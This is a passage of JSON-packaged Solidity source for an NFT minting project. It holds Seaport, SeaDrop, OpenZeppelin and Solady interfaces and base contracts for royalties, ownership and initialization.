*/\n function ratifyOrder(\n SpentItem[] calldata offer,\n ReceivedItem[] calldata consideration,\n bytes calldata context, // encoded based on the schemaID\n bytes32[] calldata orderHashes,\n uint256 contractNonce\n ) external returns (bytes4 ratifyOrderMagicValue);\n\n /**\n * @dev View function to preview an order generated in response to a minimum\n * set of received items, maximum set of spent items, and context\n * (supplied as extraData).\n *\n * @param caller The address of the caller (e.g. Seaport).\n * @param fulfiller The address of the fulfiller (e.g. the account\n * calling Seaport).\n * @param minimumReceived The minimum items that the caller is willing to\n * receive.\n * @param maximumSpent The maximum items the caller is willing to spend.\n * @param context Additional context of the order.\n *\n * @return offer A tuple containing the offer items.\n * @return consideration A tuple containing the consideration items.\n */\n function previewOrder(\n address caller,\n address fulfiller,\n SpentItem[] calldata minimumReceived,\n SpentItem[] calldata maximumSpent,\n bytes calldata context // encoded based on the schemaID\n ) external view returns (SpentItem[] memory offer, ReceivedItem[] memory consideration);\n\n /**\n * @dev Gets the metadata for this contract offerer.\n *\n * @return name The name of the contract offerer.\n * @return schemas The schemas supported by the contract offerer.\n */\n function getSeaportMetadata() external view returns (string memory name, Schema[] memory schemas); // map to Seaport Improvement Proposal IDs\n\n function supportsInterface(bytes4 interfaceId) external view override returns (bool);\n\n // Additional functions and/or events based on implemented schemaIDs\n}\n"
},
"lib/openzeppelin-contracts/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.19;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"src/interfaces/ISeaDropTokenContractMetadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\ninterface ISeaDropTokenContractMetadata {\n /**\n * @dev Emit an event for token metadata reveals/updates,\n * according to EIP-4906.\n *\n * @param _fromTokenId The start token id.\n * @param _toTokenId The end token id.\n */\n event BatchMetadataUpdate(uint256 _fromTokenId, uint256 _toTokenId);\n\n /**\n * @dev Emit an event when the URI for the collection-level metadata\n * is updated.\n */\n event ContractURIUpdated(string newContractURI);\n\n /**\n * @dev Emit an event with the previous and new provenance hash after\n * being updated.\n */\n event ProvenanceHashUpdated(bytes32 previousHash, bytes32 newHash);\n\n /**\n * @dev Emit an event when the EIP-2981 royalty info is updated.\n */\n event RoyaltyInfoUpdated(address receiver, uint256 basisPoints);\n\n /**\n * @notice Throw if the max supply exceeds uint64, a limit\n * due to the storage of bit-packed variables.\n */\n error CannotExceedMaxSupplyOfUint64(uint256 got);\n\n /**\n * @dev Revert with an error when attempting to set the provenance\n * hash after the mint has started.\n */\n error ProvenanceHashCannotBeSetAfterMintStarted();\n\n /**\n * @dev Revert with an error when attempting to set the provenance\n * hash after it has already been set.\n */\n error ProvenanceHashCannotBeSetAfterAlreadyBeingSet();\n\n /**\n * @notice Sets the base URI for the token metadata and emits an event.\n *\n * @param tokenURI The new base URI to set.\n */\n function setBaseURI(string calldata tokenURI) external;\n\n /**\n * @notice Sets the contract URI for contract metadata.\n *\n * @param newContractURI The new contract URI.\n */\n function setContractURI(string calldata newContractURI) external;\n\n /**\n * @notice Sets the provenance hash and emits an event.\n *\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it has not been\n * modified after mint started.\n *\n * This function will revert after the first item has been minted.\n *\n * @param newProvenanceHash The new provenance hash to set.\n */\n function setProvenanceHash(bytes32 newProvenanceHash) external;\n\n /**\n * @notice Sets the default royalty information.\n *\n * Requirements:\n *\n * - `receiver` cannot be the zero address.\n * - `feeNumerator` cannot be greater than the fee denominator of\n * 10_000 basis points.\n */\n function setDefaultRoyalty(address receiver, uint96 feeNumerator) external;\n\n /**\n * @notice Returns the base URI for token metadata.\n */\n function baseURI() external view returns (string memory);\n\n /**\n * @notice Returns the contract URI.\n */\n function contractURI() external view returns (string memory);\n\n /**\n * @notice Returns the provenance hash.\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it is unmodified\n * after mint has started.\n */\n function provenanceHash() external view returns (bytes32);\n}\n"
},
"src/interfaces/IERC1155ContractMetadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n ISeaDropTokenContractMetadata\n} from \"./ISeaDropTokenContractMetadata.sol\";\n\ninterface IERC1155ContractMetadata is ISeaDropTokenContractMetadata {\n /**\n * @dev A struct representing the supply info for a token id,\n * packed into one storage slot.\n *\n * @param maxSupply The max supply for the token id.\n * @param totalSupply The total token supply for the token id.\n * Subtracted when an item is burned.\n * @param totalMinted The total number of tokens minted for the token id.\n */\n struct TokenSupply {\n uint64 maxSupply; // 64/256 bits\n uint64 totalSupply; // 128/256 bits\n uint64 totalMinted; // 192/256 bits\n }\n\n /**\n * @dev Emit an event when the max token supply for a token id is updated.\n */\n event MaxSupplyUpdated(uint256 tokenId, uint256 newMaxSupply);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply.\n */\n error MintExceedsMaxSupply(uint256 total, uint256 maxSupply);\n\n /**\n * @notice Sets the max supply for a token id and emits an event.\n *\n * @param tokenId The token id to set the max supply for.\n * @param newMaxSupply The new max supply to set.\n */\n function setMaxSupply(uint256 tokenId, uint256 newMaxSupply) external;\n\n /**\n * @notice Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @notice Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @notice Returns the max token supply for a token id.\n */\n function maxSupply(uint256 tokenId) external view returns (uint256);\n\n /**\n * @notice Returns the total supply for a token id.\n */\n function totalSupply(uint256 tokenId) external view returns (uint256);\n\n /**\n * @notice Returns the total minted for a token id.\n */\n function totalMinted(uint256 tokenId) external view returns (uint256);\n}\n"
},
"lib/solady/src/tokens/ERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.4;\n\n/// @notice Simple ERC2981 NFT Royalty Standard implementation.\n/// @author Solady (https://github.com/vectorized/solady/blob/main/src/tokens/ERC2981.sol)\n/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/common/ERC2981.sol)\nabstract contract ERC2981 {\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* CUSTOM ERRORS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The royalty fee numerator exceeds the fee denominator.\n error RoyaltyOverflow();\n\n /// @dev The royalty receiver cannot be the zero address.\n error RoyaltyReceiverIsZeroAddress();\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* STORAGE */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The default royalty info is given by:\n /// ```\n /// let packed := sload(_ERC2981_MASTER_SLOT_SEED)\n /// let receiver := shr(96, packed)\n /// let royaltyFraction := xor(packed, shl(96, receiver))\n /// ```\n ///\n /// The per token royalty info is given by.\n /// ```\n /// mstore(0x00, tokenId)\n /// mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n /// let packed := sload(keccak256(0x00, 0x40))\n /// let receiver := shr(96, packed)\n /// let royaltyFraction := xor(packed, shl(96, receiver))\n /// ```\n uint256 private constant _ERC2981_MASTER_SLOT_SEED = 0xaa4ec00224afccfdb7;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* ERC2981 */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Checks that `_feeDenominator` is non-zero.\n constructor() {\n require(_feeDenominator() != 0, \"Fee denominator cannot be zero.\");\n }\n\n /// @dev Returns the denominator for the royalty amount.\n /// Defaults to 10000, which represents fees in basis points.\n /// Override this function to return a custom amount if needed.\n function _feeDenominator() internal pure virtual returns (uint96) {\n return 10000;\n }\n\n /// @dev Returns true if this contract implements the interface defined by `interfaceId`.\n /// See: https://eips.ethereum.org/EIPS/eip-165\n /// This function call must use less than 30000 gas.\n function supportsInterface(bytes4 interfaceId) public view virtual returns (bool result) {\n /// @solidity memory-safe-assembly\n assembly {\n let s := shr(224, interfaceId)\n // ERC165: 0x01ffc9a7, ERC2981: 0x2a55205a.\n result := or(eq(s, 0x01ffc9a7), eq(s, 0x2a55205a))\n }\n }\n\n /// @dev Returns the `receiver` and `royaltyAmount` for `tokenId` sold at `salePrice`.\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n public\n view\n virtual\n returns (address receiver, uint256 royaltyAmount)\n {\n uint256 feeDenominator = _feeDenominator();\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x00, tokenId)\n mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n let packed := sload(keccak256(0x00, 0x40))\n receiver := shr(96, packed)\n if iszero(receiver) {\n packed := sload(mload(0x20))\n receiver := shr(96, packed)\n }\n let x := salePrice\n let y := xor(packed, shl(96, receiver)) // `feeNumerator`.\n // Overflow check, equivalent to `require(y == 0 || x <= type(uint256).max / y)`.\n // Out-of-gas revert. Should not be triggered in practice, but included for safety.\n returndatacopy(returndatasize(), returndatasize(), mul(y, gt(x, div(not(0), y))))\n royaltyAmount := div(mul(x, y), feeDenominator)\n }\n }\n\n /// @dev Sets the default royalty `receiver` and `feeNumerator`.\n ///\n /// Requirements:\n /// - `receiver` must not be the zero address.\n /// - `feeNumerator` must not be greater than the fee denominator.\n function _setDefaultRoyalty(address receiver, uint96 feeNumerator) internal virtual {\n uint256 feeDenominator = _feeDenominator();\n /// @solidity memory-safe-assembly\n assembly {\n feeNumerator := shr(160, shl(160, feeNumerator))\n if gt(feeNumerator, feeDenominator) {\n mstore(0x00, 0x350a88b3) // `RoyaltyOverflow()`.\n revert(0x1c, 0x04)\n }\n let packed := shl(96, receiver)\n if iszero(packed) {\n mstore(0x00, 0xb4457eaa) // `RoyaltyReceiverIsZeroAddress()`.\n revert(0x1c, 0x04)\n }\n sstore(_ERC2981_MASTER_SLOT_SEED, or(packed, feeNumerator))\n }\n }\n\n /// @dev Sets the default royalty `receiver` and `feeNumerator` to zero.\n function _deleteDefaultRoyalty() internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n sstore(_ERC2981_MASTER_SLOT_SEED, 0)\n }\n }\n\n /// @dev Sets the royalty `receiver` and `feeNumerator` for `tokenId`.\n ///\n /// Requirements:\n /// - `receiver` must not be the zero address.\n /// - `feeNumerator` must not be greater than the fee denominator.\n function _setTokenRoyalty(uint256 tokenId, address receiver, uint96 feeNumerator)\n internal\n virtual\n {\n uint256 feeDenominator = _feeDenominator();\n /// @solidity memory-safe-assembly\n assembly {\n feeNumerator := shr(160, shl(160, feeNumerator))\n if gt(feeNumerator, feeDenominator) {\n mstore(0x00, 0x350a88b3) // `RoyaltyOverflow()`.\n revert(0x1c, 0x04)\n }\n let packed := shl(96, receiver)\n if iszero(packed) {\n mstore(0x00, 0xb4457eaa) // `RoyaltyReceiverIsZeroAddress()`.\n revert(0x1c, 0x04)\n }\n mstore(0x00, tokenId)\n mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n sstore(keccak256(0x00, 0x40), or(packed, feeNumerator))\n }\n }\n\n /// @dev Sets the royalty `receiver` and `feeNumerator` for `tokenId` to zero.\n function _resetTokenRoyalty(uint256 tokenId) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x00, tokenId)\n mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n sstore(keccak256(0x00, 0x40), 0)\n }\n }\n}\n"
},
"lib/solady/src/auth/Ownable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.4;\n\n/// @notice Simple single owner authorization mixin.\n/// @author Solady (https://github.com/vectorized/solady/blob/main/src/auth/Ownable.sol)\n/// @dev While the ownable portion follows\n/// [EIP-173](https://eips.ethereum.org/EIPS/eip-173) for compatibility,\n/// the nomenclature for the 2-step ownership handover may be unique to this codebase.\nabstract contract Ownable {\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* CUSTOM ERRORS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The caller is not authorized to call the function.\n error Unauthorized();\n\n /// @dev The `newOwner` cannot be the zero address.\n error NewOwnerIsZeroAddress();\n\n /// @dev The `pendingOwner` does not have a valid handover request.\n error NoHandoverRequest();\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* EVENTS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The ownership is transferred from `oldOwner` to `newOwner`.\n /// This event is intentionally kept the same as OpenZeppelin's Ownable to be\n /// compatible with indexers and [EIP-173](https://eips.ethereum.org/EIPS/eip-173),\n /// despite it not being as lightweight as a single argument event.\n event OwnershipTransferred(address indexed oldOwner, address indexed newOwner);\n\n /// @dev An ownership handover to `pendingOwner` has been requested.\n event OwnershipHandoverRequested(address indexed pendingOwner);\n\n /// @dev The ownership handover to `pendingOwner` has been canceled.\n event OwnershipHandoverCanceled(address indexed pendingOwner);\n\n /// @dev `keccak256(bytes(\"OwnershipTransferred(address,address)\"))`.\n uint256 private constant _OWNERSHIP_TRANSFERRED_EVENT_SIGNATURE =\n 0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0;\n\n /// @dev `keccak256(bytes(\"OwnershipHandoverRequested(address)\"))`.\n uint256 private constant _OWNERSHIP_HANDOVER_REQUESTED_EVENT_SIGNATURE =\n 0xdbf36a107da19e49527a7176a1babf963b4b0ff8cde35ee35d6cd8f1f9ac7e1d;\n\n /// @dev `keccak256(bytes(\"OwnershipHandoverCanceled(address)\"))`.\n uint256 private constant _OWNERSHIP_HANDOVER_CANCELED_EVENT_SIGNATURE =\n 0xfa7b8eab7da67f412cc9575ed43464468f9bfbae89d1675917346ca6d8fe3c92;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* STORAGE */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The owner slot is given by: `not(_OWNER_SLOT_NOT)`.\n /// It is intentionally chosen to be a high value\n /// to avoid collision with lower slots.\n /// The choice of manual storage layout is to enable compatibility\n /// with both regular and upgradeable contracts.\n uint256 private constant _OWNER_SLOT_NOT = 0x8b78c6d8;\n\n /// The ownership handover slot of `newOwner` is given by:\n /// ```\n /// mstore(0x00, or(shl(96, user), _HANDOVER_SLOT_SEED))\n /// let handoverSlot := keccak256(0x00, 0x20)\n /// ```\n /// It stores the expiry timestamp of the two-step ownership handover.\n uint256 private constant _HANDOVER_SLOT_SEED = 0x389a75e1;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Initializes the owner directly without authorization guard.\n /// This function must be called upon initialization,\n /// regardless of whether the contract is upgradeable or not.\n /// This is to enable generalization to both regular and upgradeable contracts,\n /// and to save gas in case the initial owner is not the caller.\n /// For performance reasons, this function will not check if there\n /// is an existing owner.\n function _initializeOwner(address newOwner) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Clean the upper 96 bits.\n newOwner := shr(96, shl(96, newOwner))\n // Store the new value.\n sstore(not(_OWNER_SLOT_NOT), newOwner)\n // Emit the {OwnershipTransferred} event.\n log3(0, 0, _OWNERSHIP_TRANSFERRED_EVENT_SIGNATURE, 0, newOwner)\n }\n }\n\n /// @dev Sets the owner directly without authorization guard.\n function _setOwner(address newOwner) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n let ownerSlot := not(_OWNER_SLOT_NOT)\n // Clean the upper 96 bits.\n newOwner := shr(96, shl(96, newOwner))\n // Emit the {OwnershipTransferred} event.\n log3(0, 0, _OWNERSHIP_TRANSFERRED_EVENT_SIGNATURE, sload(ownerSlot), newOwner)\n // Store the new value.\n sstore(ownerSlot, newOwner)\n }\n }\n\n /// @dev Throws if the sender is not the owner.\n function _checkOwner() internal view virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // If the caller is not the stored owner, revert.\n if iszero(eq(caller(), sload(not(_OWNER_SLOT_NOT)))) {\n mstore(0x00, 0x82b42900) // `Unauthorized()`.\n revert(0x1c, 0x04)\n }\n }\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* PUBLIC UPDATE FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Allows the owner to transfer the ownership to `newOwner`.\n function transferOwnership(address newOwner) public payable virtual onlyOwner {\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(shl(96, newOwner)) {\n mstore(0x00, 0x7448fbae) // `NewOwnerIsZeroAddress()`.\n revert(0x1c, 0x04)\n }\n }\n _setOwner(newOwner);\n }\n\n /// @dev Allows the owner to renounce their ownership.\n function renounceOwnership() public payable virtual onlyOwner {\n _setOwner(address(0));\n }\n\n /// @dev Request a two-step ownership handover to the caller.\n /// The request will automatically expire in 48 hours (172800 seconds) by default.\n function requestOwnershipHandover() public payable virtual {\n unchecked {\n uint256 expires = block.timestamp + ownershipHandoverValidFor();\n /// @solidity memory-safe-assembly\n assembly {\n // Compute and set the handover slot to `expires`.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, caller())\n sstore(keccak256(0x0c, 0x20), expires)\n // Emit the {OwnershipHandoverRequested} event.\n log2(0, 0, _OWNERSHIP_HANDOVER_REQUESTED_EVENT_SIGNATURE, caller())\n }\n }\n }\n\n /// @dev Cancels the two-step ownership handover to the caller, if any.\n function cancelOwnershipHandover() public payable virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Compute and set the handover slot to 0.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, caller())\n sstore(keccak256(0x0c, 0x20), 0)\n // Emit the {OwnershipHandoverCanceled} event.\n log2(0, 0, _OWNERSHIP_HANDOVER_CANCELED_EVENT_SIGNATURE, caller())\n }\n }\n\n /// @dev Allows the owner to complete the two-step ownership handover to `pendingOwner`.\n /// Reverts if there is no existing ownership handover requested by `pendingOwner`.\n function completeOwnershipHandover(address pendingOwner) public payable virtual onlyOwner {\n /// @solidity memory-safe-assembly\n assembly {\n // Compute and set the handover slot to 0.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, pendingOwner)\n let handoverSlot := keccak256(0x0c, 0x20)\n // If the handover does not exist, or has expired.\n if gt(timestamp(), sload(handoverSlot)) {\n mstore(0x00, 0x6f5e8818) // `NoHandoverRequest()`.\n revert(0x1c, 0x04)\n }\n // Set the handover slot to 0.\n sstore(handoverSlot, 0)\n }\n _setOwner(pendingOwner);\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* PUBLIC READ FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Returns the owner of the contract.\n function owner() public view virtual returns (address result) {\n /// @solidity memory-safe-assembly\n assembly {\n result := sload(not(_OWNER_SLOT_NOT))\n }\n }\n\n /// @dev Returns the expiry timestamp for the two-step ownership handover to `pendingOwner`.\n function ownershipHandoverExpiresAt(address pendingOwner)\n public\n view\n virtual\n returns (uint256 result)\n {\n /// @solidity memory-safe-assembly\n assembly {\n // Compute the handover slot.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, pendingOwner)\n // Load the handover slot.\n result := sload(keccak256(0x0c, 0x20))\n }\n }\n\n /// @dev Returns how long a two-step ownership handover is valid for in seconds.\n function ownershipHandoverValidFor() public view virtual returns (uint64) {\n return 48 * 3600;\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* MODIFIERS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Marks a function as only callable by the owner.\n modifier onlyOwner() virtual {\n _checkOwner();\n _;\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (proxy/utils/Initializable.sol)\n\npragma solidity ^0.8.19;\n\nimport \"../../utils/AddressUpgradeable.sol\";\n\n/**\n * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n *\n * The initialization functions use a version number. Once a version number is used, it is consumed and cannot be\n * reused. This mechanism prevents re-execution of each \"step\" but allows the creation of new initialization steps in\n * case an upgrade adds a module that needs to be initialized.\n *\n * For example:\n *\n * [.hljs-theme-light.nopadding]\n * ```solidity\n * contract MyToken is ERC20Upgradeable {\n * function initialize() initializer public {\n * __ERC20_init(\"MyToken\", \"MTK\");\n * }\n * }\n *\n * contract MyTokenV2 is MyToken, ERC20PermitUpgradeable {\n * function initializeV2() reinitializer(2) public {\n * __ERC20Permit_init(\"MyToken\");\n * }\n * }\n * ```\n *\n * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.\n *\n * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n *\n * [CAUTION]\n * ====\n * Avoid leaving a contract uninitialized.\n *\n * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation\n * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke\n * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * /// @custom:oz-upgrades-unsafe-allow constructor\n * constructor() {\n * _disableInitializers();\n * }\n * ```\n * ====\n */\nabstract contract Initializable {\n /**\n * @dev Indicates that the contract has been initialized.\n * @custom:oz-retyped-from bool\n */\n uint8 private _initialized;\n\n /**\n * @dev Indicates that the contract is in the process of being initialized.\n */\n bool private _initializing;\n\n /**\n * @dev Triggered when the contract has been initialized or reinitialized.\n */\n event Initialized(uint8 version);\n\n /**\n * @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,\n * `onlyInitializing` functions can be used to initialize parent contracts.\n *\n * Similar to `reinitializer(1)`, except that functions marked with `initializer` can be nested in the context of a\n * constructor.\n *\n * Emits an {Initialized} event.\n */\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n require(\n (isTopLevelCall && _initialized < 1) || (address(this).code.length == 0 && _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n _initialized = 1;\n if (isTopLevelCall) {\n _initializing = true;\n }\n _;\n if (isTopLevelCall) {\n _initializing = false;\n emit Initialized(1);\n }\n }\n\n /**\n * @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the\n * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be\n * used to initialize parent contracts.\n *\n * A reinitializer may be used after the original initialization step. This is essential to configure modules that\n * are added through upgrades and that require initialization.\n *\n * When `version` is 1, this modifier is similar to `initializer`, except that functions marked with `reinitializer`\n * cannot be nested. If one is invoked in the context of another, execution will revert.\n *\n * Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in\n * a contract, executing them in the right order is up to the developer or operator.\n *\n * WARNING: setting the version to 255 will prevent any future reinitialization.\n *\n * Emits an {Initialized} event.\n */\n modifier reinitializer(uint8 version) {\n require(!_initializing && _initialized < version, \"Initializable: contract is already initialized\");\n _initialized = version;\n _initializing = true;\n _;\n _initializing = false;\n emit Initialized(version);\n }\n\n /**\n * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the\n * {initializer} and {reinitializer} modifiers, directly or indirectly.\n */\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n _;\n }\n\n /**\n * @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call.\n * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized\n * to any version. It is recommended to use this to lock implementation contracts that are designed to be called\n * through proxies.\n *\n * Emits an {Initialized} event the first time it is successfully executed.\n */\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n if (_initialized != type(uint8).max) {\n _initialized = type(uint8).max;\n emit Initialized(type(uint8).max);\n }\n }\n\n /**\n * @dev Returns the highest version that has been initialized. See {reinitializer}.\n */\n function _getInitializedVersion() internal view returns (uint8) {\n return _initialized;\n }\n\n /**\n * @dev Returns `true` if the contract is currently initializing. See {onlyInitializing}.\n */\n function _isInitializing() internal view returns (bool) {\n return _initializing;\n }\n}\n"
},
"src/lib/SeaDropErrorsAndEvents.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { CreatorPayout, PublicDrop } from \"./ERC721SeaDropStructs.sol\";\n\ninterface SeaDropErrorsAndEvents {\n /**\n * @notice The SeaDrop token types, emitted as part of\n * `event SeaDropTokenDeployed`.\n */\n enum SEADROP_TOKEN_TYPE {\n ERC721_STANDARD,\n ERC721_CLONE,\n ERC721_UPGRADEABLE,\n ERC1155_STANDARD,\n ERC1155_CLONE,\n ERC1155_UPGRADEABLE\n }\n\n /**\n * @notice An event to signify that a SeaDrop token contract was deployed.\n */\n event SeaDropTokenDeployed(SEADROP_TOKEN_TYPE tokenType);\n\n /**\n * @notice Revert with an error if the function selector is not supported.\n */\n error UnsupportedFunctionSelector(bytes4 selector);\n\n /**\n * @dev Revert with an error if the drop stage is not active.\n */\n error NotActive(\n uint256 currentTimestamp,\n uint256 startTimestamp,\n uint256 endTimestamp\n );\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max allowed\n * to be minted per wallet.\n */\n error MintQuantityExceedsMaxMintedPerWallet(uint256 total, uint256 allowed);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply.\n */\n error MintQuantityExceedsMaxSupply(uint256 total, uint256 maxSupply);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply for the stage.\n * Note: The `maxTokenSupplyForStage` for public mint is\n * always `type(uint).max`.\n */\n error MintQuantityExceedsMaxTokenSupplyForStage(\n uint256 total,\n uint256 maxTokenSupplyForStage\n );\n\n /**\n * @dev Revert if the fee recipient is the zero address.\n */\n error FeeRecipientCannotBeZeroAddress();\n\n /**\n * @dev Revert if the fee recipient is not already included.\n */\n error FeeRecipientNotPresent();\n\n /**\n * @dev Revert if the fee basis points is greater than 10_000.\n */\n error InvalidFeeBps(uint256 feeBps);\n\n /**\n * @dev Revert if the fee recipient is already included.\n */\n error DuplicateFeeRecipient();\n\n /**\n * @dev Revert if the fee recipient is restricted and not allowed.\n */\n error FeeRecipientNotAllowed(address got);\n\n /**\n * @dev Revert if the creator payout address is the zero address.\n */\n error CreatorPayoutAddressCannotBeZeroAddress();\n\n /**\n * @dev Revert if the creator payouts are not set.\n */\n error CreatorPayoutsNotSet();\n\n /**\n * @dev Revert if the creator payout basis points are zero.\n */\n error CreatorPayoutBasisPointsCannotBeZero();\n\n /**\n * @dev Revert if the total basis points for the creator payouts\n * don't equal exactly 10_000.\n */\n error InvalidCreatorPayoutTotalBasisPoints(\n uint256 totalReceivedBasisPoints\n );\n\n /**\n * @dev Revert if the creator payout basis points don't add up to 10_000.\n */\n error InvalidCreatorPayoutBasisPoints(uint256 totalReceivedBasisPoints);\n\n /**\n * @dev Revert with an error if the allow list proof is invalid.\n */\n error InvalidProof();\n\n /**\n * @dev Revert if a supplied signer address is the zero address.\n */\n error SignerCannotBeZeroAddress();\n\n /**\n * @dev Revert with an error if a signer is not included in\n * the enumeration when removing.\n */\n error SignerNotPresent();\n\n /**\n * @dev Revert with an error if a payer is not included in\n * the enumeration when removing.\n */\n error PayerNotPresent();\n\n /**\n * 